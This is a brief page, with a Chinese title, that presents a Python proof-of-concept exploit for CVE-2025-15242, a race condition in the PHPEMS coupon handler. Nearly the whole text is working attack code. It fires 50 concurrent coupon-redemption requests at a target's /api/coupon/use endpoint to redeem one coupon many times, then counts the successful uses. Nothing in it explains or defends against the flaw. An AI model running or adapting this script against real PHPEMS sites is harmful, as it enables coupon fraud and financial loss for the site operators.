CVE-2025-15242 PHPEMS Coupon Handler竞争条件漏洞

import asyncio import aiohttp async def race_condition_poc(): """ CVE-2025-15242 PHPEMS Coupon Race Condition PoC Target: PHPEMS <= 11.0 Coupon Handler Attack Type: Race Condition """ base_url = "http://target.com/phpems" coupon_code = "EVIL_COUPON_2025" async def use_coupon(session): """Send coupon usage request""" url = f"{base_url}/api/coupon/use" payload = { "coupon_code": coupon_code, "user_id": 1001 } try: async with session.post(url, json=payload) as resp: return await resp.json() except Exception as e: return {"error": str(e)} async with aiohttp.ClientSession() as session: # Send 50 concurrent requests to trigger race condition tasks = [use_coupon(session) for _ in range(50)] results = await asyncio.gather(*tasks) # Analyze results for successful exploit success_count = sum(1 for r in results if r.get('status') == 'success') print(f"Successful coupon uses: {success_count}") return results if __name__ == "__main__": asyncio.run(race_condition_poc())